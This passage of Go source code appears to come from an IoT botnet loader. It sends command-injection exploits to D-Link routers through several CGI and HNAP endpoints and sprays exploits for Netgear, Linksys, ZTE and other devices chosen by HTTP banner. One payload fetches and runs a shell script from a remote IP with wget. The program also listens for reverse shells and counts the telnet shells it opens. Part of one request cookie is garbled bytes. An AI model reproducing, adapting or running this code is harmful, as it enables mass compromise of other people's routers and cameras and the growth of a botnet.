strconv.Itoa(cntLen) + "\r\n\r\nact=ping&dst=%26 " + dlinkTwoPayload + "%26\r\n\r\n"))26192620tmpbuf := make([]byte, 128)2621ln, err := conn.Read(tmpbuf)2622if ln <= 0 || err != nil {2623conn.Close()2624}26252626zeroByte(rdbuf)2627conn.Close()2628}26292630func infectFunctionDlinkFour(target string) {26312632var rdbuf []byte = []byte("")26332634conn, err := net.DialTimeout("tcp", target, 10 * time.Second)2635if err != nil {2636return2637}26382639conn.Write([]byte("GET /cgi-bin/gdrive.cgi?cmd=4&f_gaccount=;" + dlinkTwoPayload +";echo%207yeB8BQB2ycGRCT8LmsmttUWPggWykhK; HTTP/1.1\r\nHost: " + target + "\r\nUser-Agent: Mozila/5.0\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\n\r\n"))26402641tmpbuf := make([]byte, 128)2642ln, err := conn.Read(tmpbuf)2643if ln <= 0 || err != nil {2644conn.Close()2645}26462647zeroByte(rdbuf)2648conn.Close()2649}26502651func infectFunctionDlinkFive(target string) {26522653var rdbuf []byte = []byte("")26542655conn, err := net.DialTimeout("tcp", target, 10 * time.Second)2656if err != nil {2657return2658}26592660conn.Write([]byte("GET /login.cgi?cli=multilingual%20show';" + dlinkTwoPayload + "'$ HTTP/1.1\r\nHost: " + target + "\r\nUser-Agent: Mozila/5.0\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\n\r\n"))26612662tmpbuf := make([]byte, 128)2663ln, err := conn.Read(tmpbuf)2664if ln <= 0 || err != nil {2665conn.Close()2666}26672668zeroByte(rdbuf)2669conn.Close()2670}26712672func infectFunctionDlinkSix(target string) {26732674var rdbuf []byte = []byte("")26752676conn, err := net.DialTimeout("tcp", target, 10 * time.Second)2677if err != nil {2678return2679}26802681conn.Write([]byte("GET / HTTP/1.1\r\nHost: " + target + "\r\nUser-Agent: Mozila/5.0\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\nCookie: i=`" + dlinkTwoPayload + "`\r\n\r\n"))26822683tmpbuf := make([]byte, 128)2684ln, err := conn.Read(tmpbuf)2685if ln <= 0 || err != nil {2686conn.Close()2687}26882689zeroByte(rdbuf)2690conn.Close()2691}26922693func infectFunctionDlinkSeven(target string) {26942695var rdbuf []byte = []byte("")26962697conn, err := net.DialTimeout("tcp", target, 10 * time.Second)2698if err != nil {2699return2700}27012702conn.Write([]byte("POST /hedwig.cgi HTTP/1.1\r\nHost: " + target + "\r\nUser-Agent: Mozila/5.0\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\nContent-Type: application/x-www-form-urlencoded\r\nCookie: uid=uAMwOEeRuqDZptt4JHrQuakNv2g3eR9kqnvDUvAkaRD561YFVty3uXFAls6bcARYA5w5KpUrDlY7pdAXuG0AuhHSfBCQJoPDqxdjszcAWwQYxOEf6Sy9t8iU4PV1xNyVxDMPqZwR7a5dthsW8jLiK0ha1qUksjWYna5IaYoOYIM7aiT3mrseuskJWVONKXFQQw64tNsAAmrfIc9OobZ4gxQibsOsHkZoqz5C1ScGYmMaWeICXuF1J2R1FIzGkXOr3OXjKXQ8C6ZeSbRRmEBF8GaJPJ87wiVlDAXj6QsyKSWDzjqTWqS9rxBnx39xwO9e02kJibbjxAW93SsX7rfKmUH4hN0H1j8dqYGhpPWL0CSELCM7NwWSjs5ofrkRivAE5bI3rnlSsMeyvPGmRjGhSH6Z5kWDAVQ5bUztFAALVyl0nPl9fl2FgmLNCPmqx9VMNMsFTnOfv4hVP9wNiN1WYTeHRCrLeB9THv1uzipH8utX2Y7Cv5iaxSMYZOUVG2puqPAYc2QzfdkEgrIOuIOZIUXQvYGF35rIkMW8eYuiVKqejKbXaM8B6RfiBTCTAHJpRMnkp5L9HorqZNwX6lpyH62slJG4iS3Yz31SrgBV5PDANkFw92G6qtT8kvbHfzoI2kyJKQa67TSDHhZLgfUHMsFFLwZTZwiXlZIzDFimYbdTaz8KWF0POFoqyGs5oynMDic8VvwS2rGsALvVHYWa885i4CIrwyEOnkY6Mqvmv96osjP1Br3GWARZPpnwGoWc7dVLvZVDLW1ObRFg1bX8qDUdxv4jcGGwZdK5wz2bJoNoyEWIkFVcQldDxjaQNdokjCmJxoEGRUGYyZshnx1fYqLH3Mc3K9DcB7xhZdbdBAohXpzYr7OXpTFHZp7THrBE1i8VvvoaF1bBXsBrasf4fwYtVUrtgPHVnlq1oN2uoO6qfLZLz49u1QxK6qBGsQG2pJa6rxYmcHEPt���*vk3aG0Vgy2692qgW�ٰ*crxdla7qucxf�ذ*qzoFOTyzL063ZRDecd /tmp;wget http://37.0.11.220/a/wget.sh;chmod 777 wget.sh;sh wget.sh selfrep.dlink;rm -rf wget.sh;\r\nContent-Length: 15\r\n\r\nL0PTJUj=NX9zke5\r\n\r\n"))27032704tmpbuf := make([]byte, 128)2705ln, err := conn.Read(tmpbuf)2706if ln <= 0 || err != nil {2707conn.Close()2708}27092710zeroByte(rdbuf)2711conn.Close()2712}27132714func infectFunctionDlinkEight(target string) {27152716var rdbuf []byte = []byte("")27172718conn, err := net.DialTimeout("tcp", target, 10 * time.Second)2719if err != nil {2720return2721}27222723conn.Write([]byte("POST /HNAP1/ HTTP/1.1\r\nHost: " + target + "\r\nUser-Agent: Mozila/5.0\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\nSOAPAction: \"http://purenetworks.com/HNAP1/GetDeviceSettings/`cd && cd tmp && export PATH=$PATH:. && " + dlinkThreePayload + "`\"\r\nContent-Length: 0\r\n\r\n"))27242725tmpbuf := make([]byte, 128)2726ln, err := conn.Read(tmpbuf)2727if ln <= 0 || err != nil {2728conn.Close()2729}27302731zeroByte(rdbuf)2732conn.Close()2733}273427352736func scannerAddExploit(name string, function interface{}) {27372738exploitMap[name] = function2739}27402741func scannerInitExploits() {27422743exploitMap = make(map[string]interface{})27442745scannerAddExploit("Basic realm=\"DVR\"", infectFunctionLilinDvr)2746scannerAddExploit("uc-httpd 1.0.0", infectFunctionUchttpd)2747scannerAddExploit("AuthInfo:", infectFunctionTvt)2748scannerAddExploit("CMS Web Viewer", infectFunctionMagic)2749scannerAddExploit("Server: GoAhead-Webs", infectFunctionFiberhome)2750scannerAddExploit("Server: DWS", infectFunctionVigor)2751scannerAddExploit("Basic realm=\"Broadband Router\"", infectFunctionComtrend)2752scannerAddExploit("Basic realm=\"Broadband Router\"", infectFunctionBroadcom)2753scannerAddExploit("Server: Boa/0.93.15", infectFunctionGponFiber)2754scannerAddExploit("TOTOLINK", infectFunctionTotolink)2755scannerAddExploit("Server: Boa/0.94.14", infectFunctionRealtek)2756scannerAddExploit("Basic realm=\"Server Status\"", infectFunctionHongdian)2757scannerAddExploit("Server: Http Server", infectFunctionTenda)2758scannerAddExploit(",/playzone,/", infectFunctionZyxel)2759scannerAddExploit("Linksys E", infectFunctionLinksys)27602761// Exploit spray for devices we cant identify2762scannerAddExploit("HTTP/1.", infectFunctionAlcatel)2763scannerAddExploit("HTTP/1.", infectFunctionZyxelTwo)2764scannerAddExploit("HTTP/1.", infectFunctionZte)2765scannerAddExploit("HTTP/1.", infectFunctionNetgear)2766scannerAddExploit("HTTP/1.", infectFunctionNetgearTwo)2767scannerAddExploit("HTTP/1.", infectFunctionNetgearThree)2768scannerAddExploit("HTTP/1.", infectFunctionNetgearFour)2769scannerAddExploit("HTTP/1.", infectFunctionGponOG)2770scannerAddExploit("HTTP/1.", infectFunctionLinksysTwo)2771scannerAddExploit("HTTP/1.", infectFunctionLinksysThree)2772scannerAddExploit("HTTP/1.", infectFunctionDlink)2773scannerAddExploit("HTTP/1.", infectFunctionDlinkTwo)2774scannerAddExploit("HTTP/1.", infectFunctionDlinkThree)2775scannerAddExploit("HTTP/1.", infectFunctionDlinkFour)2776scannerAddExploit("HTTP/1.", infectFunctionDlinkFive)2777scannerAddExploit("HTTP/1.", infectFunctionDlinkSix)2778scannerAddExploit("HTTP/1.", infectFunctionDlinkSeven)2779scannerAddExploit("HTTP/1.", infectFunctionDlinkEight)27802781}27822783func httpBannerCheck(target string) {27842785conn, err := net.DialTimeout("tcp", target, netTimeout * time.Second)2786if err != nil {2787workerGroup.Done()2788return2789}27902791conn.Write([]byte("GET / HTTP/1.1\r\nHost: " + target + "\r\n\r\n"))27922793for {2794bytebuf := make([]byte, 2048)2795l, err := conn.Read(bytebuf)2796if err != nil || l <= 0 {2797zeroByte(bytebuf)2798conn.Close()2799workerGroup.Done()2800return2801}28022803for key, element := range exploitMap {2804if strings.Contains(string(bytebuf), key) {2805switch function := element.(type) {2806case func(string):2807function(target)2808default:2809break2810}2811}2812}2813}28142815workerGroup.Done()2816return2817}28182819func main() {28202821go func() {2822i := 02823for {2824fmt.Printf("%d's | Payload Sent: %d | Telnet Opened: %d\r\n", i, payloadSent, telShells)2825time.Sleep(1 * time.Second)2826i++2827}2828} ()28292830dropperMap = make(map[string]echoDropper)2831telnetLoadDroppers()2832scannerInitExploits()28332834li, err := net.Listen("tcp", "0.0.0.0:" + strconv.Itoa(ucRshellPort))2835if err != nil {2836return2837}28382839recvServ, err := net.Listen("tcp", "0.0.0.0:19412")2840if err != nil {2841return2842}28432844go func() {2845for {2846conn, err := li.Accept()2847if err != nil {2848break2849}28502851go reverseShellUchttpdLoader(conn)2852}2853} ()28542855go func() {2856for {2857conn, err := recvServ.Accept()2858if err != nil {2859break2860}28612862for {2863buf := make([]byte, 32)2864l, err := conn.Read(buf)2865if l <= 0 || err != nil {2866conn.Close()2867break2868}28692870workerGroup.Add(1)2871go httpBannerCheck(string(buf))2872}2873}2874} ()28752876for {2877reader := bufio.NewReader(os.Stdin)2878input := bufio.NewScanner(reader)28792880for input.Scan() {2881if os.Args[1] == "listen" {2882workerGroup.Add(1)2883go httpBannerCheck(input.Text())2884} else {2885workerGroup.Add(1)2886go httpBannerCheck(input.Text() + ":" + os.Args[1])2887}2888}2889}2890}289128922893